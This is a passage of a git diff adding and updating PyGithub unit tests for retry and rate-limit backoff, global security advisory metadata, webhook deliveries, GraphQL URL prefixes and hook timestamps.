+# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import contextlib +import logging +import sys +import unittest +from datetime import datetime +from io import BytesIO +from unittest import mock + +import urllib3.response +from urllib3 import Retry + +import github +from github.GithubRetry import DEFAULT_SECONDARY_RATE_WAIT + +from . import Requester + +PrimaryRateLimitMessage = Requester.Requester.PrimaryRateLimitErrors[0] +PrimaryRateLimitJson = ( + '{"message":"' + + PrimaryRateLimitMessage + + '","documentation_url":"https://docs.github.com/rest/overview/resources-in-the-rest-api#rate-limiting"}' +) + +SecondaryRateLimitMessage = Requester.Requester.SecondaryRateLimitErrors[0] +SecondaryRateLimitJson = ( + '{"message":"' + + SecondaryRateLimitMessage + + '","documentation_url": "https://docs.github.com/en/free-pro-team@latest/rest/overview/resources-in-the-rest-api#secondary-rate-limits"}' +) + + +class GithubRetry(unittest.TestCase): + def get_test_increment_func(self, expected_rate_limit_error): + is_primary = expected_rate_limit_error == PrimaryRateLimitMessage + + def test_increment( + retry, + response, + expected_total=None, + expected_backoff=None, + expected_retry_backoff=None, + expect_retry_error=False, + has_reset=False, + ): + # fmt: off + self.assertTrue( + expected_total is not None and expected_backoff is not None and not expect_retry_error or # noqa: W504 + expected_total is None and expected_backoff is None and expect_retry_error + ) + # fmt: on + + orig_retry = retry + with mock.patch.object(retry, "_GithubRetry__log") as log: + if expect_retry_error: + with self.assertRaises(urllib3.exceptions.MaxRetryError): + retry.increment("TEST", "URL", response) + retry = None + else: + retry = retry.increment("TEST", "URL", response) + + self.assertEqual(expected_total, retry.total) + self.assertEqual( + expected_backoff if expected_retry_backoff is None else expected_retry_backoff, + retry.get_backoff_time(), + ) + self.assertEqual(orig_retry.secondary_rate_wait, retry.secondary_rate_wait) + + # fmt: off + log.assert_has_calls( + [ + mock.call(20, "Request TEST URL failed with 403: None"), + mock.call(10, f"Response body indicates retry-able {'primary' if is_primary else 'secondary'} rate limit error: {expected_rate_limit_error}"), + ] + ([ + mock.call(10, "Reset occurs in 0:00:12 (1644768012 / 2022-02-13 16:00:12+00:00)") + ] if has_reset else []) + ([ + mock.call(10, f"Retry backoff of {expected_retry_backoff}s exceeds required rate limit backoff of {expected_backoff}s") + ] if expected_retry_backoff and expected_backoff > 0 else []) + ([ + mock.call(20, f"Setting next backoff to {expected_backoff if expected_retry_backoff is None else expected_retry_backoff}s") + ] if not expect_retry_error else []), + any_order=False, + ) + # fmt: on + return retry + + return test_increment + + @staticmethod + def response_func(content, reset=None): + def response(): + stream = BytesIO(content.encode("utf8")) + return urllib3.response.HTTPResponse( + body=stream, + preload_content=False, + headers={"X-RateLimit-Reset": f"{reset}"} if reset else {}, + status=403, + ) + + return response + + @contextlib.contextmanager + def mock_retry_now(self, now): + if sys.version_info[0] > 3 or sys.version_info[0] == 3 and sys.version_info[1] >= 11: + attr = "github.GithubRetry.GithubRetry._GithubRetry__datetime" + else: + attr = "github.GithubRetry._GithubRetry__datetime" + with mock.patch(attr) as dt: + dt.now = lambda tz=None: datetime.fromtimestamp(now, tz=tz) + dt.fromtimestamp = datetime.fromtimestamp + yield + + def test_primary_rate_error_with_reset(self): + retry = github.GithubRetry(total=3) + response = self.response_func(PrimaryRateLimitJson, 1644768012) + test_increment = self.get_test_increment_func(PrimaryRateLimitMessage) + + # test 12 seconds before reset, note backoff will be 12+1 second + with self.mock_retry_now(1644768000): + retry = test_increment( + retry, + response(), + expected_total=2, + expected_backoff=12 + 1, + has_reset=True, + ) + with self.mock_retry_now(1644768000): + retry = test_increment( + retry, + response(), + expected_total=1, + expected_backoff=12 + 1, + has_reset=True, + ) + + # test 2 seconds after reset, no backoff expected + with self.mock_retry_now(1644768014): + retry = test_increment(retry, response(), expected_total=0, expected_backoff=0) + test_increment(retry, response(), expect_retry_error=True) + + def test_primary_rate_error_with_reset_and_exponential_backoff(self): + retry = github.GithubRetry(total=3, backoff_factor=10) + response = self.response_func(PrimaryRateLimitJson, 1644768012) + test_increment = self.get_test_increment_func(PrimaryRateLimitMessage) + + # test 12 seconds before reset, note backoff will be 12+1 second + with self.mock_retry_now(1644768000): + retry = test_increment( + retry, + response(), + expected_total=2, + expected_backoff=12 + 1, + has_reset=True, + ) + with self.mock_retry_now(1644768000): + retry = test_increment( + retry, + response(), + expected_total=1, + expected_backoff=12 + 1, + expected_retry_backoff=20, + has_reset=True, + ) + + # test 2 seconds after reset, no backoff expected + with self.mock_retry_now(1644768014): + retry = test_increment( + retry, + response(), + expected_total=0, + expected_backoff=-2, + expected_retry_backoff=40, + ) + test_increment(retry, response(), expect_retry_error=True) + + def test_primary_rate_error_without_reset(self): + retry = github.GithubRetry(total=3) + response = self.response_func(PrimaryRateLimitJson, reset=None) + test_increment = self.get_test_increment_func(PrimaryRateLimitMessage) + + # test without reset + retry = test_increment(retry, response(), expected_total=2, expected_backoff=0) + retry = test_increment(retry, response(), expected_total=1, expected_backoff=0) + retry = test_increment(retry, response(), expected_total=0, expected_backoff=0) + test_increment(retry, response(), expect_retry_error=True) + + def test_primary_rate_error_without_reset_with_exponential_backoff(self): + retry = github.GithubRetry(total=3, backoff_factor=10) + response = self.response_func(PrimaryRateLimitJson, reset=None) + test_increment = self.get_test_increment_func(PrimaryRateLimitMessage) + + # test without reset + retry = test_increment( + retry, + response(), + expected_total=2, + expected_backoff=0, + expected_retry_backoff=0, + ) + retry = test_increment( + retry, + response(), + expected_total=1, + expected_backoff=0, + expected_retry_backoff=20, + ) + retry = test_increment( + retry, + response(), + expected_total=0, + expected_backoff=0, + expected_retry_backoff=40, + ) + test_increment(retry, response(), expect_retry_error=True) + + def test_secondary_rate_error_with_reset(self): + retry = github.GithubRetry(total=3) + response = self.response_func(SecondaryRateLimitJson, 1644768012) + test_increment = self.get_test_increment_func(SecondaryRateLimitMessage) + + # test 12 seconds before reset, expect secondary wait seconds of 60 + with self.mock_retry_now(1644768000): + retry = test_increment( + retry, + response(), + expected_total=2, + expected_backoff=60, + has_reset=False, + ) + with self.mock_retry_now(1644768000): + retry = test_increment( + retry, + response(), + expected_total=1, + expected_backoff=60, + has_reset=False, + ) + + # test 2 seconds after reset, still expect secondary wait seconds of 60 + with self.mock_retry_now(1644768014): + retry = test_increment(retry, response(), expected_total=0, expected_backoff=60) + test_increment(retry, response(), expect_retry_error=True) + + def test_secondary_rate_error_with_reset_and_exponential_backoff(self): + retry = github.GithubRetry(total=3, backoff_factor=10, secondary_rate_wait=15) + response = self.response_func(SecondaryRateLimitJson, 1644768012) + test_increment = self.get_test_increment_func(SecondaryRateLimitMessage) + + # test 12 seconds before reset, expect secondary wait seconds of 15 + with self.mock_retry_now(1644768000): + retry = test_increment( + retry, + response(), + expected_total=2, + expected_backoff=15, + has_reset=False, + ) + with self.mock_retry_now(1644768000): + retry = test_increment( + retry, + response(), + expected_total=1, + expected_backoff=15, + expected_retry_backoff=20, + has_reset=False, + ) + + # test 2 seconds after reset, exponential backoff exceeds secondary wait seconds of 15 + with self.mock_retry_now(1644768014): + retry = test_increment( + retry, + response(), + expected_total=0, + expected_backoff=15, + expected_retry_backoff=40, + ) + test_increment(retry, response(), expect_retry_error=True) + + def test_secondary_rate_error_without_reset(self): + retry = github.GithubRetry(total=3) + response = self.response_func(SecondaryRateLimitJson, reset=None) + test_increment = self.get_test_increment_func(SecondaryRateLimitMessage) + + retry = test_increment( + retry, + response(), + expected_total=2, + expected_backoff=DEFAULT_SECONDARY_RATE_WAIT, + ) + retry = test_increment( + retry, + response(), + expected_total=1, + expected_backoff=DEFAULT_SECONDARY_RATE_WAIT, + ) + retry = test_increment( + retry, + response(), + expected_total=0, + expected_backoff=DEFAULT_SECONDARY_RATE_WAIT, + ) + test_increment(retry, response(), expect_retry_error=True) + + def test_secondary_rate_error_without_reset_with_exponential_backoff(self): + retry = github.GithubRetry(total=3, backoff_factor=10, secondary_rate_wait=5) + response = self.response_func(SecondaryRateLimitJson, reset=None) + test_increment = self.get_test_increment_func(SecondaryRateLimitMessage) + + retry = test_increment(retry, response(), expected_total=2, expected_backoff=5) + retry = test_increment( + retry, + response(), + expected_total=1, + expected_backoff=5, + expected_retry_backoff=20, + ) + retry = test_increment( + retry, + response(), + expected_total=0, + expected_backoff=5, + expected_retry_backoff=40, + ) + test_increment(retry, response(), expect_retry_error=True) + + def do_test_default_behaviour(self, retry, response): + expected = Retry(total=retry.total, backoff_factor=retry.backoff_factor) + self.assertTrue(retry.total > 0) + for _ in range(retry.total): + retry = retry.increment("TEST", "URL", response) + expected = expected.increment("TEST", "URL", response) + self.assertEqual(expected.total, retry.total) + self.assertEqual(expected.get_backoff_time(), retry.get_backoff_time()) + + with self.assertRaises(urllib3.exceptions.MaxRetryError): + retry.increment("TEST", "URL", response) + with self.assertRaises(urllib3.exceptions.MaxRetryError): + expected.increment("TEST", "URL", response) + + def test_403_with_retry_after(self): + retry = github.GithubRetry(total=3) + response = urllib3.response.HTTPResponse(status=403, headers={"Retry-After": "123"}) + self.do_test_default_behaviour(retry, response) + + def test_403_with_non_retryable_error(self): + retry = github.GithubRetry(total=3) + with self.assertRaises(github.BadUserAgentException): + retry.increment( + "TEST", + "URL", + self.response_func('{"message":"Missing or invalid User Agent string."}')(), + ) + + def test_misc_response(self): + retry = github.GithubRetry(total=3) + response = urllib3.response.HTTPResponse() + self.do_test_default_behaviour(retry, response) + + def test_misc_response_exponential_backoff(self): + retry = github.GithubRetry(total=3, backoff_factor=10) + response = urllib3.response.HTTPResponse() + self.do_test_default_behaviour(retry, response) + + def test_error_in_get_content(self): + retry = github.GithubRetry(total=3) + response = urllib3.response.HTTPResponse(status=403, reason="NOT GOOD") + + with mock.patch.object(retry, "_GithubRetry__log") as log: + with self.assertRaises(github.GithubException) as exp: + retry.increment("TEST", "URL", response) + self.assertEqual(403, exp.exception.status) + self.assertEqual("NOT GOOD", exp.exception.data) + self.assertEqual({}, exp.exception.headers) + + self.assertIsInstance(exp.exception.__cause__, RuntimeError) + self.assertEqual(("Failed to inspect response message",), exp.exception.__cause__.args) + + self.assertIsInstance(exp.exception.__cause__.__cause__, ValueError) + self.assertEqual( + ("Unable to determine whether fp is closed.",), + exp.exception.__cause__.__cause__.args, + ) + + log.assert_called_once_with(logging.INFO, "Request TEST URL failed with 403: NOT GOOD") diff --git a/tests/Github_.py b/tests/Github_.py index 3e7027518c..459524d72b 100644 --- a/tests/Github_.py +++ b/tests/Github_.py @@ -2,15 +2,26 @@ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # +# Copyright 2013 Peter Golm # # Copyright 2013 Steve Brown # # Copyright 2013 Vincent Jacques # # Copyright 2014 Tyler Treat # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 Bruce Richardson # # Copyright 2018 Svend Sorensen # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # -# Copyright 2018 itsbruce # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Nikolay Edigaryev # +# Copyright 2020 Omar Brikaa # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # +# Copyright 2023 Joseph Henrich # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -30,11 +41,11 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone import github -from . import Framework, Time +from . import Framework class Github(Framework.TestCase): @@ -148,11 +159,7 @@ def testGetGists(self): def testGetGistsWithSince(self): self.assertListKeyBegin( - self.g.get_gists( - since=datetime.datetime( - 2018, 10, 2, 10, 38, 30, 00, tzinfo=Time.UTCtzinfo() - ) - ), + self.g.get_gists(since=datetime(2018, 10, 2, 10, 38, 30, 00)), lambda g: g.id, [ "69b8a5831b74946db944c5451017fa40", @@ -163,6 +170,65 @@ def testGetGistsWithSince(self): ], ) + def testGetGlobalAdvisories(self): + self.assertListKeyEqual( + self.g.get_global_advisories(ecosystem="pub"), + lambda a: a.ghsa_id, + [ + "GHSA-9324-jv53-9cc8", + "GHSA-9f2c-xxfm-32mj", + "GHSA-4xh4-v2pq-jvhm", + "GHSA-jwpw-q68h-r678", + "GHSA-4rgh-jx4f-qfcq", + ], + ) + + def testGetGlobalAdvisoriesByGHSA(self): + self.assertListKeyEqual( + self.g.get_global_advisories(ghsa_id="GHSA-9324-jv53-9cc8"), + lambda a: a.ghsa_id, + [ + "GHSA-9324-jv53-9cc8", + ], + ) + + def testGetGlobalAdvisoriesByCVE(self): + self.assertListKeyEqual( + self.g.get_global_advisories(cve_id="CVE-2023-38503"), + lambda a: a.ghsa_id, + [ + "GHSA-gggm-66rh-pp98", + ], + ) + + def testGetGlobalAdvisoriesManyFilters(self): + cases = [ + {"cwes": [200, 900], "affects": ["directus", "made_up"], "modified": ">2023-07-01"}, + {"cwes": ["200", "900"], "affects": ["directus"], "updated": ">2023-07-01"}, + {"cwes": "200,900", "affects": "directus", "published": ">2023-07-01"}, + ] + for case in cases: + with self.subTest(**case): + advisories = self.g.get_global_advisories( + type="reviewed", + ecosystem="npm", + severity="medium", + # cwes=case["cwes"], + is_withdrawn=False, + # affects=case["affects"], + # modified=">2023-07-01", + direction="desc", + sort="updated", + **case, + ) + self.assertListKeyEqual( + advisories, + lambda a: a.ghsa_id, + [ + "GHSA-gggm-66rh-pp98", + ], + ) + def testGetHooks(self): hooks = self.g.get_hooks() hook = hooks[0] @@ -183,9 +249,7 @@ def testGetHooks(self): def testGetEmojis(self): emojis = self.g.get_emojis() first = emojis.get("+1") - self.assertEqual( - first, "https://github.global.ssl.fastly.net/images/icons/emoji/+1.png?v5" - ) + self.assertEqual(first, "https://github.global.ssl.fastly.net/images/icons/emoji/+1.png?v5") def testGetHook(self): hook = self.g.get_hook("activecollab") @@ -204,6 +268,49 @@ def testGetHook(self): ) self.assertEqual(repr(hook), 'HookDescription(name="activecollab")') + def testGetHookDelivery(self): + delivery = self.g.get_hook_delivery(257993, 12345) + self.assertEqual(delivery.id, 12345) + self.assertEqual(delivery.guid, "abcde-12345") + self.assertEqual( + delivery.delivered_at, + datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), + ) + self.assertEqual(delivery.redelivery, False) + self.assertEqual(delivery.duration, 0.27) + self.assertEqual(delivery.status, "OK") + self.assertEqual(delivery.status_code, 200) + self.assertEqual(delivery.event, "issues") + self.assertEqual(delivery.action, "opened") + self.assertEqual(delivery.installation_id, 123) + self.assertEqual(delivery.repository_id, 456) + self.assertEqual(delivery.url, "https://www.example-webhook.com") + self.assertIsInstance(delivery.request, github.HookDelivery.HookDeliveryRequest) + self.assertEqual(delivery.request.headers, {"content-type": "application/json"}) + self.assertEqual(delivery.request.payload, {"action": "opened"}) + self.assertIsInstance(delivery.response, github.HookDelivery.HookDeliveryResponse) + self.assertEqual(delivery.response.headers, {"content-type": "text/html;charset=utf-8"}) + self.assertEqual(delivery.response.payload, "ok") + + def testGetHookDeliveries(self): + deliveries = list(self.g.get_hook_deliveries(257993)) + self.assertEqual(len(deliveries), 1) + self.assertEqual(deliveries[0].id, 12345) + self.assertEqual(deliveries[0].guid, "abcde-12345") + self.assertEqual( + deliveries[0].delivered_at, + datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), + ) + self.assertEqual(deliveries[0].redelivery, False) + self.assertEqual(deliveries[0].duration, 0.27) + self.assertEqual(deliveries[0].status, "OK") + self.assertEqual(deliveries[0].status_code, 200) + self.assertEqual(deliveries[0].event, "issues") + self.assertEqual(deliveries[0].action, "opened") + self.assertEqual(deliveries[0].installation_id, 123) + self.assertEqual(deliveries[0].repository_id, 456) + self.assertEqual(deliveries[0].url, "https://www.example-webhook.com") + def testGetRepoFromFullName(self): self.assertEqual( self.g.get_repo("jacquev6/PyGithub").description, @@ -431,9 +538,7 @@ def testGetUsers(self): ) def testGetUsersSince(self): - self.assertListKeyBegin( - self.g.get_users(since=1000), lambda u: u.login, ["sbecker"] - ) + self.assertListKeyBegin(self.g.get_users(since=1000), lambda u: u.login, ["sbecker"]) def testGetOrganizations(self): self.assertListKeyBegin( diff --git a/tests/GlobalAdvisory.py b/tests/GlobalAdvisory.py new file mode 100644 index 0000000000..5b8a26579b --- /dev/null +++ b/tests/GlobalAdvisory.py @@ -0,0 +1,220 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Joseph Henrich # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from datetime import datetime, timezone +from decimal import Decimal + +import github.GlobalAdvisory + +from . import Framework + + +class GlobalAdvisory(Framework.TestCase): + advisory: github.GlobalAdvisory.GlobalAdvisory + + def setUp(self): + super().setUp() + + def testAttributes(self): + self.advisory = self.g.get_global_advisory("GHSA-wqc8-x2pr-7jqh") + self.assertListKeyEqual( + self.advisory.credits, + lambda e: (e.user.login, e.type), + [ + ("loechel", "remediation_developer"), + ("Quasar0147", "reporter"), + ("despawningbone", "reporter"), + ("dataflake", "coordinator"), + ("nneonneo", "other"), + ], + ) + self.assertEqual(self.advisory.cve_id, "CVE-2023-37271") + self.assertEqual(self.advisory.cvss.version, Decimal("3.1")) + self.assertEqual(self.advisory.cvss.score, Decimal("8.4")) + self.assertEqual(self.advisory.cvss.vector_string, "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L") + self.assertListKeyEqual( + self.advisory.cwes, + lambda e: (e.cwe_id, e.name), + [ + ("CWE-913", "Improper Control of Dynamically-Managed Code Resources"), + ], + ) + self.assertEqual( + self.advisory.description, + "### Impact\n\nRestrictedPython does not check access to stack frames...", + ) + self.assertEqual(self.advisory.ghsa_id, "GHSA-wqc8-x2pr-7jqh") + self.assertEqual( + self.advisory.github_reviewed_at, + datetime(2023, 7, 10, 21, 53, 22, tzinfo=timezone.utc), + ) + self.assertEqual( + self.advisory.html_url, + "https://github.com/advisories/GHSA-wqc8-x2pr-7jqh", + ) + self.assertListEqual( + self.advisory.identifiers, + [{"type": "GHSA", "value": "GHSA-wqc8-x2pr-7jqh"}, {"type": "CVE", "value": "CVE-2023-37271"}], + ) + self.assertEqual(self.advisory.nvd_published_at, None) + self.assertEqual( + self.advisory.published_at, + datetime(2023, 7, 10, 21, 53, 22, tzinfo=timezone.utc), + ) + self.assertListEqual( + self.advisory.references, + [ + "https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-wqc8-x2pr-7jqh", + "https://github.com/zopefoundation/RestrictedPython/commit/c8eca66ae49081f0016d2e1f094c3d72095ef531", + "https://nvd.nist.gov/vuln/detail/CVE-2023-37271", + "https://github.com/pypa/advisory-database/tree/main/vulns/restrictedpython/PYSEC-2023-118.yaml", + "https://github.com/advisories/GHSA-wqc8-x2pr-7jqh", + ], + ) + self.assertEqual( + self.advisory.repository_advisory_url, + "https://api.github.com/repos/zopefoundation/RestrictedPython/security-advisories/GHSA-wqc8-x2pr-7jqh", + ) + self.assertEqual(self.advisory.severity, "high") + self.assertEqual( + self.advisory.source_code_location, + "https://github.com/zopefoundation/RestrictedPython", + ) + self.assertEqual( + self.advisory.summary, + "RestrictedPython vulnerable to arbitrary code execution via stack frame sandbox escape", + ) + self.assertEqual( + self.advisory.type, + "reviewed", + ) + self.assertEqual( + self.advisory.updated_at, + datetime(2023, 7, 20, 18, 59, 27, tzinfo=timezone.utc), + ) + self.assertEqual( + self.advisory.url, + "https://api.github.com/advisories/GHSA-wqc8-x2pr-7jqh", + ) + self.assertListKeyEqual( + self.advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [ + (("pip", "RestrictedPython"), None, [], "< 5.3"), + (("pip", "RestrictedPython"), None, [], ">= 6.0a1.dev0, < 6.1"), + (("pip", "restrictedpython"), None, [], ">= 0, < 5.3"), + ], + ) + self.assertEqual(self.advisory.withdrawn_at, None) + + def testNewlyReleased(self): + """Test an advisory that was freshly released and does not have values for all fields.""" + self.advisory = self.g.get_global_advisory("GHSA-cx3j-qqxj-9597") + self.assertListKeyEqual( + self.advisory.credits, + lambda e: (e.user.login, e.type), + [], + ) + self.assertEqual(self.advisory.cve_id, "CVE-2023-3481") + self.assertEqual(self.advisory.cvss.version, None) + self.assertEqual(self.advisory.cvss.score, None) + self.assertEqual(self.advisory.cvss.vector_string, None) + self.assertListKeyEqual( + self.advisory.cwes, + lambda e: (e.cwe_id, e.name), + [ + ("CWE-80", "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)"), + ("CWE-116", "Improper Encoding or Escaping of Output"), + ], + ) + self.assertEqual( + self.advisory.description, "### Impact\nCritters version 0.0.17-0.0.19 have an issue when parsing..." + ) + self.assertEqual(self.advisory.ghsa_id, "GHSA-cx3j-qqxj-9597") + self.assertEqual( + self.advisory.github_reviewed_at, + datetime(2023, 8, 11, 18, 57, 53, tzinfo=timezone.utc), + ) + self.assertEqual( + self.advisory.html_url, + "https://github.com/advisories/GHSA-cx3j-qqxj-9597", + ) + self.assertListEqual( + self.advisory.identifiers, + [{"type": "GHSA", "value": "GHSA-cx3j-qqxj-9597"}, {"type": "CVE", "value": "CVE-2023-3481"}], + ) + self.assertEqual(self.advisory.nvd_published_at, None) + self.assertEqual( + self.advisory.published_at, + datetime(2023, 8, 11, 18, 57, 53, tzinfo=timezone.utc), + ) + self.assertListEqual( + self.advisory.references, + [ + "https://github.com/GoogleChromeLabs/critters/security/advisories/GHSA-cx3j-qqxj-9597", + "https://github.com/GoogleChromeLabs/critters/pull/133", + "https://github.com/GoogleChromeLabs/critters/commit/7757902c9e0b3285d516359b3cb602cd9d50d80e", + "https://github.com/advisories/GHSA-cx3j-qqxj-9597", + ], + ) + self.assertEqual( + self.advisory.repository_advisory_url, + "https://api.github.com/repos/GoogleChromeLabs/critters/security-advisories/GHSA-cx3j-qqxj-9597", + ) + self.assertEqual(self.advisory.severity, "high") + self.assertEqual( + self.advisory.source_code_location, + "https://github.com/GoogleChromeLabs/critters", + ) + self.assertEqual( + self.advisory.summary, + "Critters Cross-site Scripting Vulnerability", + ) + self.assertEqual( + self.advisory.type, + "reviewed", + ) + self.assertEqual( + self.advisory.updated_at, + datetime(2023, 8, 11, 18, 57, 54, tzinfo=timezone.utc), + ) + self.assertEqual( + self.advisory.url, + "https://api.github.com/advisories/GHSA-cx3j-qqxj-9597", + ) + self.assertListKeyEqual( + self.advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("npm", "critters"), None, [], ">= 0.0.17, <= 0.0.19")], + ) + self.assertEqual(self.advisory.withdrawn_at, None) diff --git a/tests/GraphQl.py b/tests/GraphQl.py new file mode 100644 index 0000000000..de27ab9cb3 --- /dev/null +++ b/tests/GraphQl.py @@ -0,0 +1,76 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2024 Enrico Minack # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from typing import Any, Dict + +import github +from github import Github + +from . import Framework + + +class GraphQl(Framework.TestCase): + def setUp(self): + super().setUp() + + def expected(self, base_url: str = "https://github.com") -> Dict[Any, Any]: + return { + "data": { + "disablePullRequestAutoMerge": { + "actor": { + "avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", + "login": "heitorpolidoro", + "resourcePath": "/heitorpolidoro", + "url": f"{base_url}/heitorpolidoro", + }, + "clientMutationId": None, + } + } + } + + def testRequesterGraphQlPrefix(self): + get_graphql_prefix = github.Requester.Requester.get_graphql_prefix + assert "/graphql" == get_graphql_prefix(None) + assert "/graphql" == get_graphql_prefix("") + assert "/graphql" == get_graphql_prefix("/") + assert "/api/graphql" == get_graphql_prefix("/api/v3") + assert "/path/to/github/api/graphql" == get_graphql_prefix("/path/to/github/api/v3") + assert "/path/to/github/graphql" == get_graphql_prefix("/path/to/github") + + def testDefaultUrl(self): + pull = self.g.get_repo("PyGithub/PyGithub").get_pull(31) + response = pull.disable_automerge() + assert response == self.expected() + + def testOtherUrl(self): + base_url = "https://my.enterprise.com/api/v3" + gh = Github(base_url=base_url) + pull = gh.get_repo("PyGithub/PyGithub").get_pull(31) + response = pull.disable_automerge() + assert response == self.expected(base_url) + + def testOtherPort(self): + base_url = "https://my.enterprise.com:8080/api/v3" + gh = Github(base_url=base_url) + pull = gh.get_repo("PyGithub/PyGithub").get_pull(31) + response = pull.disable_automerge() + assert response == self.expected(base_url) diff --git a/tests/Hook.py b/tests/Hook.py index 86c0257ae1..aac2b1bd27 100644 --- a/tests/Hook.py +++ b/tests/Hook.py @@ -8,6 +8,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,7 +33,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -40,7 +46,10 @@ def setUp(self): def testAttributes(self): self.assertTrue(self.hook.active) # WTF self.assertEqual(self.hook.config, {"url": "http://foobar.com"}) - self.assertEqual(self.hook.created_at, datetime.datetime(2012, 5, 19, 6, 1, 45)) + self.assertEqual( + self.hook.created_at, + datetime(2012, 5, 19, 6, 1, 45, tzinfo=timezone.utc), + ) self.assertEqual(self.hook.events, ["push"]) self.assertEqual(self.hook.id, 257993) self.assertEqual(self.hook.last_response.status, "ok") @@ -48,11 +57,10 @@ def testAttributes(self): self.assertEqual(self.hook.last_response.code, 200) self.assertEqual(self.hook.name, "web") self.assertEqual( - self.hook.updated_at, datetime.datetime(2012, 5, 29, 18, 49, 47) - ) - self.assertEqual( - self.hook.url, "https://api.github.com/repos/jacquev6/PyGithub/hooks/257993" + self.hook.updated_at, + datetime(2012, 5, 29, 18, 49, 47, tzinfo=timezone.utc), ) + self.assertEqual(self.hook.url, "https://api.github.com/repos/jacquev6/PyGithub/hooks/257993") self.assertEqual( self.hook.test_url, "https://api.github.com/repos/jacquev6/PyGithub/hooks/257993/tests", @@ -71,7 +79,10 @@ def testAttributes(self): def testEditWithMinimalParameters(self): self.hook.edit("web", {"url": "http://foobar.com/hook"}) self.assertEqual(self.hook.config, {"url": "http://foobar.com/hook"}) - self.assertEqual(self.hook.updated_at, datetime.datetime(2012, 5, 19, 5, 8, 16)) + self.assertEqual( + self.hook.updated_at, + datetime(2012, 5, 19, 5, 8, 16, tzinfo=timezone.utc), + ) def testDelete(self): self.hook.delete() diff --git a/tests/Installation.py b/tests/Installation.py new file mode 100644 index 0000000000..c90a1904f8 --- /dev/null +++ b/tests/Installation.py @@ -0,0 +1,97 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Shinichi TAMURA # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from urllib3.exceptions import InsecureRequestWarning + +import github +from github 